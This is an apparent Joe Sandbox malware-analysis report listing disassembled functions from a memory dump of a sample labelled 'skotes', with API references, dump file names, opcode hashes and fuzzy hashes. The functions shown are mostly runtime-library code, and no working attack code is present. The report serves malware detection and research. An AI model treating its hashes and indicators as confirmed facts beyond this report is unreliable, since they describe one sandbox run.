Function 00B86E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B86ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00B86F22
std::_Rethrow_future_exception.LIBCPMT ref: 00B86F32
__Mtx_unlock.LIBCPMT ref: 00B86FD5
__Mtx_unlock.LIBCPMT ref: 00B870DB
__Mtx_unlock.LIBCPMT ref: 00B87116

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 1a09979c24aab3d66683a6d8bbc34ca242f9022ef4bcbae061fe0796bd91675b
Instruction ID: 59d79b58cbb30d681a4dce29b884f44305367d61f326c472238597afd119b0e7
Opcode Fuzzy Hash: 1a09979c24aab3d66683a6d8bbc34ca242f9022ef4bcbae061fe0796bd91675b
Instruction Fuzzy Hash: F6C1D2B19042089FDB21EFB4C845BAFBBF4EF04314F1045ADE916976A1EB31E908CB61

Function 00B944DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00B94538
ListArray.LIBCONCRT ref: 00B9456C
Hash.LIBCMT ref: 00B945D5
Hash.LIBCMT ref: 00B945E5

Part of subcall function 00B99C41: std::bad_exception::bad_exception.LIBCMT ref: 00B99C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00B9474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B947A4

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: d5c380eeb2b10bf7d2013bc4b88ef3bda286e3e4013a7ac383131abe29646360
Instruction ID: f5dc4b81548ecde4297d3b1cbd59742ed23c97255f693dda3c4bd1d0ffef9630
Opcode Fuzzy Hash: d5c380eeb2b10bf7d2013bc4b88ef3bda286e3e4013a7ac383131abe29646360
Instruction Fuzzy Hash: E18175B0A15B16BBDB08DF74C845BD9FBE8BF09700F10426AF42897281DBB4A564CBD1

Function 00B8EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00B8EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00B8EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00B8EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B8EF0F
Concurrency::Context::Block.LIBCONCRT ref: 00B8EF31

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 79230b919324979136801fb9a22900acc10117c7a17af6ce78c5a06d991f3663
Instruction ID: 3370ac9ed78c2a3e0d0cc31c50e2c684c1d8d655dcd85681a47183f50604f57c
Opcode Fuzzy Hash: 79230b919324979136801fb9a22900acc10117c7a17af6ce78c5a06d991f3663
Instruction Fuzzy Hash: E9213D70C142198AEF24FFA4C8556EEB7F0FF15320F6009AAE171A61E1E7B19A44CB55

Function 00BA1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00BA1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA1C2A

Strings

pContext, xrefs: 00BA1C22
switchState, xrefs: 00BA1B5E

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 39fb9b71109cb492cd32fb02b967051bcebfb413860fadf3d44e805eb3031a2e
Instruction ID: 2494c9bddfbfd91c1e3ed9cee3a86735b94f819df7a7a20e158c304cd7e9e5b3
Opcode Fuzzy Hash: 39fb9b71109cb492cd32fb02b967051bcebfb413860fadf3d44e805eb3031a2e
Instruction Fuzzy Hash: 8E31A835A042149BCF44EF6CC481EAD77F5EF46320F5049E9E911AB291EB70DD01CBA0

Function 00BA727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00BA72BE

Strings

.bat, xrefs: 00BA72ED
.com, xrefs: 00BA72FE
.cmd, xrefs: 00BA72DC
.exe, xrefs: 00BA72CB

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
